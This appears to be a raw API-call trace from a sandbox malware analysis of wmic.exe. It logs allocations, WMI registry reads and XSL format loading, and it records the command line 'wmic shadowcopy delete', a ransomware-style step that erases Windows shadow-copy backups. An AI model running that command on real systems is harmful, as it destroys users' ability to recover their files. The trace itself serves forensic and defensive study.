malloc (_Size=0x14) returned 0x6428c8 [0061.570] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.570] malloc (_Size=0x4) returned 0x6428e8 [0061.570] malloc (_Size=0xc) returned 0x6428f8 [0061.570] malloc (_Size=0x18) returned 0x642910 [0061.570] malloc (_Size=0xc) returned 0x642930 [0061.570] SysStringLen (param_1="IDENTIFY") returned 0x8 [0061.570] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0061.570] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0061.570] SysStringLen (param_1="IDENTIFY") returned 0x8 [0061.570] malloc (_Size=0x18) returned 0x642948 [0061.570] malloc (_Size=0xc) returned 0x642968 [0061.570] SysStringLen (param_1="IMPERSONATE") returned 0xb [0061.570] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0061.570] SysStringLen (param_1="IMPERSONATE") returned 0xb [0061.570] SysStringLen (param_1="IDENTIFY") returned 0x8 [0061.570] SysStringLen (param_1="IDENTIFY") returned 0x8 [0061.570] SysStringLen (param_1="IMPERSONATE") returned 0xb [0061.570] malloc (_Size=0x18) returned 0x642980 [0061.571] malloc (_Size=0xc) returned 0x6429a0 [0061.571] SysStringLen (param_1="DELEGATE") returned 0x8 [0061.571] SysStringLen (param_1="IDENTIFY") returned 0x8 [0061.571] SysStringLen (param_1="DELEGATE") returned 0x8 [0061.571] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0061.571] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0061.571] SysStringLen (param_1="DELEGATE") returned 0x8 [0061.571] malloc (_Size=0x18) returned 0x6429b8 [0061.571] malloc (_Size=0xc) returned 0x6429d8 [0061.571] malloc (_Size=0x18) returned 0x6429f0 [0061.571] malloc (_Size=0xc) returned 0x642a10 [0061.571] SysStringLen (param_1="NONE") returned 0x4 [0061.571] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.571] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.571] SysStringLen (param_1="NONE") returned 0x4 [0061.571] malloc (_Size=0x18) returned 0x642a28 [0061.571] malloc (_Size=0xc) returned 0x642a48 [0061.572] SysStringLen (param_1="CONNECT") returned 0x7 [0061.572] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.572] malloc (_Size=0x18) returned 0x642a60 [0061.572] malloc (_Size=0xc) returned 0x642a80 [0061.572] SysStringLen (param_1="CALL") returned 0x4 [0061.572] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.572] SysStringLen (param_1="CALL") returned 0x4 [0061.573] SysStringLen (param_1="CONNECT") returned 0x7 [0061.573] malloc (_Size=0x18) returned 0x64e868 [0061.573] malloc (_Size=0xc) returned 0x642e98 [0061.573] SysStringLen (param_1="PKT") returned 0x3 [0061.573] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.573] SysStringLen (param_1="PKT") returned 0x3 [0061.573] SysStringLen (param_1="NONE") returned 0x4 [0061.573] SysStringLen (param_1="NONE") returned 0x4 [0061.573] SysStringLen (param_1="PKT") returned 0x3 [0061.573] malloc (_Size=0x18) returned 0x64e888 [0061.573] malloc (_Size=0xc) returned 0x642eb0 [0061.573] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0061.573] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.573] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0061.573] SysStringLen (param_1="NONE") returned 0x4 [0061.573] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0061.573] SysStringLen (param_1="PKT") returned 0x3 [0061.573] SysStringLen (param_1="PKT") returned 0x3 [0061.573] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0061.573] malloc (_Size=0x18) returned 0x64e8a8 [0061.573] malloc (_Size=0xc) returned 0x642ec8 [0061.573] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0061.573] SysStringLen (param_1="DEFAULT") returned 0x7 [0061.573] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0061.573] SysStringLen (param_1="PKT") returned 0x3 [0061.573] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0061.573] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0061.573] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0061.574] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0061.574] malloc (_Size=0x18) returned 0x64e8c8 [0061.574] malloc (_Size=0x40) returned 0x642ee0 [0061.574] malloc (_Size=0x20a) returned 0x642f28 [0061.574] GetSystemDirectoryW (in: lpBuffer=0x642f28, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0061.574] free (_Block=0x642f28) [0061.574] malloc (_Size=0xc) returned 0x642f28 [0061.574] malloc (_Size=0xc) returned 0x642f40 [0061.574] malloc (_Size=0xc) returned 0x642f58 [0061.574] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0061.574] SysStringLen (param_1="\\wbem\\") returned 0x6 [0061.574] free (_Block=0x642f28) [0061.574] free (_Block=0x642f40) [0061.574] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0061.574] free (_Block=0x642f58) [0061.574] malloc (_Size=0xc) returned 0x642f28 [0061.574] malloc (_Size=0xc) returned 0x642f40 [0061.574] malloc (_Size=0xc) returned 0x642f58 [0061.574] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0061.574] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0061.574] free (_Block=0x642f28) [0061.575] free (_Block=0x642f40) [0061.575] GetCurrentThreadId () returned 0xee4 [0061.575] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x12f1c0 | out: phkResult=0x12f1c0*=0x114) returned 0x0 [0061.575] RegQueryValueExW (in: hKey=0x114, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x12f1cc, lpcbData=0x12f1c8*=0x400 | out: lpType=0x0, lpData=0x12f1cc*=0x30, lpcbData=0x12f1c8*=0x4) returned 0x0 [0061.575] _wcsicmp (_String1="0", _String2="1") returned -1 [0061.575] _wcsicmp (_String1="0", _String2="2") returned -2 [0061.575] RegQueryValueExW (in: hKey=0x114, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x12f1c8*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x12f1c8*=0x42) returned 0x0 [0061.575] malloc (_Size=0x86) returned 0x642f70 [0061.575] RegQueryValueExW (in: hKey=0x114, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x642f70, lpcbData=0x12f1c8*=0x42 | out: lpType=0x0, lpData=0x642f70*=0x25, lpcbData=0x12f1c8*=0x42) returned 0x0 [0061.575] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0061.575] malloc (_Size=0x42) returned 0x643000 [0061.575] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0061.575] RegQueryValueExW (in: hKey=0x114, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x12f1cc, lpcbData=0x12f1c8*=0x400 | out: lpType=0x0, lpData=0x12f1cc*=0x36, lpcbData=0x12f1c8*=0xc) returned 0x0 [0061.575] _wtol (_String="65536") returned 65536 [0061.575] free (_Block=0x642f70) [0061.575] RegCloseKey (hKey=0x0) returned 0x6 [0061.575] CoCreateInstance (in: rclsid=0xcd6d40*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6d20*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x12f65c | out: ppv=0x12f65c*=0x244630) returned 0x0 [0061.660] FreeThreadedDOMDocument:IXMLDOMDocument:Load (in: This=0x244630, xmlSource=0x12f5e0*(varType=0x8, wReserved1=0xffff, wReserved2=0x387a, wReserved3=0x7735, varVal1="C:\\Windows\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x12f644 | out: isSuccessful=0x12f644*=0xffff) returned 0x0 [0067.572] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x244630, DOMElement=0x12f658 | out: DOMElement=0x12f658) returned 0x0 [0067.573] malloc (_Size=0xc) returned 0x642f28 [0067.573] free (_Block=0x642f28) [0067.573] malloc (_Size=0xc) returned 0x642f28 [0067.573] free (_Block=0x642f28) [0067.573] malloc (_Size=0xc) returned 0x642f28 [0067.573] malloc (_Size=0xc) returned 0x642f40 [0067.573] malloc (_Size=0x18) returned 0x64e8e8 [0067.574] malloc (_Size=0xc) returned 0x643160 [0067.574] free (_Block=0x643160) [0067.574] malloc (_Size=0xc) returned 0x643160 [0067.574] malloc (_Size=0xc) returned 0x643178 [0067.574] SysStringLen (param_1="VALUE") returned 0x5 [0067.574] SysStringLen (param_1="TABLE") returned 0x5 [0067.574] SysStringLen (param_1="TABLE") returned 0x5 [0067.574] SysStringLen (param_1="VALUE") returned 0x5 [0067.574] malloc (_Size=0x18) returned 0x64e908 [0067.574] malloc (_Size=0xc) returned 0x643190 [0067.575] free (_Block=0x643190) [0067.575] malloc (_Size=0xc) returned 0x64fac8 [0067.575] malloc (_Size=0xc) returned 0x64fae0 [0067.575] SysStringLen (param_1="LIST") returned 0x4 [0067.575] SysStringLen (param_1="TABLE") returned 0x5 [0067.575] malloc (_Size=0x18) returned 0x64e928 [0067.575] malloc (_Size=0xc) returned 0x64faf8 [0067.575] free (_Block=0x64faf8) [0067.575] malloc (_Size=0xc) returned 0x64faf8 [0067.575] malloc (_Size=0xc) returned 0x64fb10 [0067.575] SysStringLen (param_1="RAWXML") returned 0x6 [0067.575] SysStringLen (param_1="TABLE") returned 0x5 [0067.575] SysStringLen (param_1="RAWXML") returned 0x6 [0067.575] SysStringLen (param_1="LIST") returned 0x4 [0067.575] SysStringLen (param_1="LIST") returned 0x4 [0067.576] SysStringLen (param_1="RAWXML") returned 0x6 [0067.576] malloc (_Size=0x18) returned 0x64e948 [0067.576] malloc (_Size=0xc) returned 0x64fb28 [0067.576] free (_Block=0x64fb28) [0067.576] malloc (_Size=0xc) returned 0x64fb28 [0067.576] malloc (_Size=0xc) returned 0x64fb40 [0067.576] SysStringLen (param_1="HTABLE") returned 0x6 [0067.576] SysStringLen (param_1="TABLE") returned 0x5 [0067.576] SysStringLen (param_1="HTABLE") returned 0x6 [0067.576] SysStringLen (param_1="LIST") returned 0x4 [0067.576] malloc (_Size=0x18) returned 0x64e968 [0067.577] malloc (_Size=0xc) returned 0x64fb58 [0067.577] free (_Block=0x64fb58) [0067.577] malloc (_Size=0xc) returned 0x64fb58 [0067.577] malloc (_Size=0xc) returned 0x64fb70 [0067.577] SysStringLen (param_1="HFORM") returned 0x5 [0067.577] SysStringLen (param_1="TABLE") returned 0x5 [0067.577] SysStringLen (param_1="HFORM") returned 0x5 [0067.577] SysStringLen (param_1="LIST") returned 0x4 [0067.577] SysStringLen (param_1="HFORM") returned 0x5 [0067.577] SysStringLen (param_1="HTABLE") returned 0x6 [0067.577] malloc (_Size=0x18) returned 0x64e988 [0067.577] malloc (_Size=0xc) returned 0x64fb88 [0067.577] free (_Block=0x64fb88) [0067.577] malloc (_Size=0xc) returned 0x64fb88 [0067.577] malloc (_Size=0xc) returned 0x64fba0 [0067.578] SysStringLen (param_1="XML") returned 0x3 [0067.578] SysStringLen (param_1="TABLE") returned 0x5 [0067.578] SysStringLen (param_1="XML") returned 0x3 [0067.578] SysStringLen (param_1="VALUE") returned 0x5 [0067.578] SysStringLen (param_1="VALUE") returned 0x5 [0067.578] SysStringLen (param_1="XML") returned 0x3 [0067.578] malloc (_Size=0x18) returned 0x64e9a8 [0067.578] malloc (_Size=0xc) returned 0x64fbb8 [0067.578] free (_Block=0x64fbb8) [0067.578] malloc (_Size=0xc) returned 0x64fbb8 [0067.578] malloc (_Size=0xc) returned 0x64fbd0 [0067.578] SysStringLen (param_1="MOF") returned 0x3 [0067.578] SysStringLen (param_1="TABLE") returned 0x5 [0067.578] SysStringLen (param_1="MOF") returned 0x3 [0067.578] SysStringLen (param_1="LIST") returned 0x4 [0067.578] SysStringLen (param_1="MOF") returned 0x3 [0067.578] SysStringLen (param_1="RAWXML") returned 0x6 [0067.578] SysStringLen (param_1="LIST") returned 0x4 [0067.579] SysStringLen (param_1="MOF") returned 0x3 [0067.579] malloc (_Size=0x18) returned 0x64e9c8 [0067.579] malloc (_Size=0xc) returned 0x64fbe8 [0067.579] free (_Block=0x64fbe8) [0067.579] malloc (_Size=0xc) returned 0x64fbe8 [0067.579] malloc (_Size=0xc) returned 0x64fc00 [0067.579] SysStringLen (param_1="CSV") returned 0x3 [0067.579] SysStringLen (param_1="TABLE") returned 0x5 [0067.579] SysStringLen (param_1="CSV") returned 0x3 [0067.579] SysStringLen (param_1="LIST") returned 0x4 [0067.579] SysStringLen (param_1="CSV") returned 0x3 [0067.579] SysStringLen (param_1="HTABLE") returned 0x6 [0067.579] SysStringLen (param_1="CSV") returned 0x3 [0067.579] SysStringLen (param_1="HFORM") returned 0x5 [0067.579] malloc (_Size=0x18) returned 0x64e9e8 [0067.580] malloc (_Size=0xc) returned 0x64fc18 [0067.580] free (_Block=0x64fc18) [0067.580] malloc (_Size=0xc) returned 0x64fc18 [0067.580] malloc (_Size=0xc) returned 0x64fc30 [0067.580] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.580] SysStringLen (param_1="TABLE") returned 0x5 [0067.581] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.581] SysStringLen (param_1="VALUE") returned 0x5 [0067.581] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.581] SysStringLen (param_1="XML") returned 0x3 [0067.581] SysStringLen (param_1="XML") returned 0x3 [0067.581] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.581] malloc (_Size=0x18) returned 0x64ea08 [0067.581] malloc (_Size=0xc) returned 0x64fc48 [0067.581] free (_Block=0x64fc48) [0067.581] malloc (_Size=0xc) returned 0x64fc48 [0067.581] malloc (_Size=0xc) returned 0x64fc60 [0067.581] SysStringLen (param_1="texttablewsys") returned 0xd [0067.581] SysStringLen (param_1="TABLE") returned 0x5 [0067.581] SysStringLen (param_1="texttablewsys") returned 0xd [0067.581] SysStringLen (param_1="XML") returned 0x3 [0067.581] SysStringLen (param_1="texttablewsys") returned 0xd [0067.581] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.581] SysStringLen (param_1="XML") returned 0x3 [0067.581] SysStringLen (param_1="texttablewsys") returned 0xd [0067.581] malloc (_Size=0x18) returned 0x64ea28 [0067.582] malloc (_Size=0xc) returned 0x64fc78 [0067.582] free (_Block=0x64fc78) [0067.582] malloc (_Size=0xc) returned 0x64fc78 [0067.582] malloc (_Size=0xc) returned 0x64fc90 [0067.582] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.582] SysStringLen (param_1="TABLE") returned 0x5 [0067.582] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.582] SysStringLen (param_1="XML") returned 0x3 [0067.582] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.582] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.582] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.582] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.582] malloc (_Size=0x18) returned 0x64ea48 [0067.583] malloc (_Size=0xc) returned 0x64fca8 [0067.583] free (_Block=0x64fca8) [0067.583] malloc (_Size=0xc) returned 0x64fca8 [0067.583] malloc (_Size=0xc) returned 0x64fcc0 [0067.583] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.583] SysStringLen (param_1="TABLE") returned 0x5 [0067.583] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.583] SysStringLen (param_1="XML") returned 0x3 [0067.583] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.583] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.583] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.583] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.583] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.583] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.583] malloc (_Size=0x18) returned 0x64ea68 [0067.583] malloc (_Size=0xc) returned 0x64fcd8 [0067.584] free (_Block=0x64fcd8) [0067.584] malloc (_Size=0xc) returned 0x64fcd8 [0067.584] malloc (_Size=0xc) returned 0x64fcf0 [0067.584] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.584] SysStringLen (param_1="TABLE") returned 0x5 [0067.584] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.584] SysStringLen (param_1="XML") returned 0x3 [0067.584] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.584] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.584] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.584] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.584] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.584] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.584] malloc (_Size=0x18) returned 0x64ea88 [0067.584] malloc (_Size=0xc) returned 0x64fd08 [0067.584] free (_Block=0x64fd08) [0067.584] malloc (_Size=0xc) returned 0x64fd08 [0067.585] malloc (_Size=0xc) returned 0x64fd20 [0067.585] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.585] SysStringLen (param_1="TABLE") returned 0x5 [0067.585] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.585] SysStringLen (param_1="XML") returned 0x3 [0067.585] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.585] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.585] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.585] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.585] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.585] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.585] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.585] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0067.585] malloc (_Size=0x18) returned 0x64eaa8 [0067.585] malloc (_Size=0xc) returned 0x64fd38 [0067.586] free (_Block=0x64fd38) [0067.586] malloc (_Size=0xc) returned 0x64fd38 [0067.586] malloc (_Size=0xc) returned 0x64fd50 [0067.586] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.586] SysStringLen (param_1="TABLE") returned 0x5 [0067.586] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.586] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.586] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.586] SysStringLen (param_1="XML") returned 0x3 [0067.586] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.586] SysStringLen (param_1="texttablewsys") returned 0xd [0067.586] SysStringLen (param_1="XML") returned 0x3 [0067.586] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.586] malloc (_Size=0x18) returned 0x64eac8 [0067.586] malloc (_Size=0xc) returned 0x64fd68 [0067.586] free (_Block=0x64fd68) [0067.586] malloc (_Size=0xc) returned 0x64fd68 [0067.587] malloc (_Size=0xc) returned 0x64fd80 [0067.587] SysStringLen (param_1="htable-sortby") returned 0xd [0067.587] SysStringLen (param_1="TABLE") returned 0x5 [0067.587] SysStringLen (param_1="htable-sortby") returned 0xd [0067.587] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.587] SysStringLen (param_1="htable-sortby") returned 0xd [0067.587] SysStringLen (param_1="XML") returned 0x3 [0067.587] SysStringLen (param_1="htable-sortby") returned 0xd [0067.587] SysStringLen (param_1="texttablewsys") returned 0xd [0067.587] SysStringLen (param_1="htable-sortby") returned 0xd [0067.587] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0067.587] SysStringLen (param_1="XML") returned 0x3 [0067.587] SysStringLen (param_1="htable-sortby") returned 0xd [0067.587] malloc (_Size=0x18) returned 0x64eae8 [0067.587] malloc (_Size=0xc) returned 0x64fd98 [0067.587] free (_Block=0x64fd98) [0067.587] malloc (_Size=0xc) returned 0x64fd98 [0067.587] malloc (_Size=0xc) returned 0x64fdb0 [0067.588] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.588] SysStringLen (param_1="TABLE") returned 0x5 [0067.588] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.588] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.588] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.588] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.588] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.588] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.588] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.588] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.588] malloc (_Size=0x18) returned 0x64eb08 [0067.588] malloc (_Size=0xc) returned 0x64fdc8 [0067.588] free (_Block=0x64fdc8) [0067.588] malloc (_Size=0xc) returned 0x64fdc8 [0067.588] malloc (_Size=0xc) returned 0x64fde0 [0067.588] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.588] SysStringLen (param_1="TABLE") returned 0x5 [0067.588] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.588] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.588] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.589] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.589] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.589] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0067.589] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.589] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0067.589] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.589] SysStringLen (param_1="wmiclimofformat") returned 0xf [0067.589] malloc (_Size=0x18) returned 0x64eb28 [0067.589] malloc (_Size=0xc) returned 0x64fdf8 [0067.589] free (_Block=0x64fdf8) [0067.589] malloc (_Size=0xc) returned 0x64fdf8 [0067.589] malloc (_Size=0xc) returned 0x64fe10 [0067.589] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.589] SysStringLen (param_1="TABLE") returned 0x5 [0067.589] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.589] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.589] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.589] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.589] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.589] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.589] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.590] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.590] malloc (_Size=0x18) returned 0x64eb48 [0067.590] malloc (_Size=0xc) returned 0x64fe28 [0067.590] free (_Block=0x64fe28) [0067.590] malloc (_Size=0xc) returned 0x64fe28 [0067.590] malloc (_Size=0xc) returned 0x64fe40 [0067.590] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.590] SysStringLen (param_1="TABLE") returned 0x5 [0067.590] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.590] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0067.590] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.590] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0067.590] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.590] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.590] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.590] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0067.590] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0067.590] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0067.590] malloc (_Size=0x18) returned 0x64eb68 [0067.591] FreeThreadedDOMDocument:IUnknown:Release (This=0x244630) returned 0x0 [0067.591] free (_Block=0x642f58) [0067.591] GetCommandLineW () returned="wmic shadowcopy delete" [0067.591] malloc (_Size=0x30) returned 0x643190 [0067.591] memcpy_s (in: _Destination=0x643190, _DestinationSize=0x2e, _Source=0x411976, _SourceSize=0x2e | out: _Destination=0x643190) returned 0x0 [0067.591] malloc (_Size=0xc) returned 0x64fe58 [0067.591] malloc (_Size=0xc) returned 0x64fe70 [0067.591] malloc (_Size=0xc) returned 0x64fe88 [0067.591] malloc (_Size=0xc) returned 0xb62060 [0067.591] malloc (_Size=0x80) returned 0xb604a0 [0067.591] GetLocalTime (in: lpSystemTime=0x12f620 | out: lpSystemTime=0x12f620*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x2, wDay=0xb, wHour=0x10, wMinute=0x28, wSecond=0x4, wMilliseconds=0x1ec)) [0067.591] _vsnwprintf (in: _Buffer=0xb604a0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x12f600 | out: _Buffer="02-11-2020T16:40:04") returned 19 [0067.591] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.591] malloc (_Size=0x28) returned 0x6431c8 [0067.591] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.591] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.591] malloc (_Size=0x28) returned 0x6431f8 [0067.591] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.591] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.592] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.592] malloc (_Size=0x16) returned 0x64eb88 [0067.592] lstrlenW (lpString="shadowcopy") returned 10 [0067.592] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0067.592] malloc (_Size=0x16) returned 0x64eba8 [0067.592] malloc (_Size=0x4) returned 0x643228 [0067.592] free (_Block=0x0) [0067.592] free (_Block=0x64eb88) [0067.592] lstrlenW (lpString=" shadowcopy delete") returned 19 [0067.592] malloc (_Size=0xe) returned 0xb62078 [0067.592] lstrlenW (lpString="delete") returned 6 [0067.592] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0067.592] malloc (_Size=0xe) returned 0xb62090 [0067.592] malloc (_Size=0x8) returned 0x642f58 [0067.592] memmove_s (in: _Destination=0x642f58, _DestinationSize=0x4, _Source=0x643228, _SourceSize=0x4 | out: _Destination=0x642f58) returned 0x0 [0067.592] free (_Block=0x643228) [0067.592] free (_Block=0x0) [0067.592] free (_Block=0xb62078) [0067.592] malloc (_Size=0x8) returned 0x643228 [0067.592] lstrlenW (lpString="QUIT") returned 4 [0067.592] lstrlenW (lpString="shadowcopy") returned 10 [0067.592] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0067.592] lstrlenW (lpString="EXIT") returned 4 [0067.592] lstrlenW (lpString="shadowcopy") returned 10 [0067.592] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0067.592] free (_Block=0x643228) [0067.592] WbemLocator:IUnknown:AddRef (This=0xb20828) returned 0x2 [0067.592] malloc (_Size=0x8) returned 0x643228 [0067.592] lstrlenW (lpString="/") returned 1 [0067.592] lstrlenW (lpString="shadowcopy") returned 10 [0067.592] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0067.592] lstrlenW (lpString="-") returned 1 [0067.592] lstrlenW (lpString="shadowcopy") returned 10 [0067.592] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0067.592] lstrlenW (lpString="CLASS") returned 5 [0067.592] lstrlenW (lpString="shadowcopy") returned 10 [0067.592] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0067.593] lstrlenW (lpString="PATH") returned 4 [0067.593] lstrlenW (lpString="shadowcopy") returned 10 [0067.593] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0067.593] lstrlenW (lpString="CONTEXT") returned 7 [0067.593] lstrlenW (lpString="shadowcopy") returned 10 [0067.593] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0067.593] lstrlenW (lpString="shadowcopy") returned 10 [0067.593] malloc (_Size=0x16) returned 0x64eb88 [0067.593] lstrlenW (lpString="shadowcopy") returned 10 [0067.593] GetCurrentThreadId () returned 0xee4 [0067.593] ??0CHString@@QAE@XZ () returned 0x12f574 [0067.593] malloc (_Size=0xc) 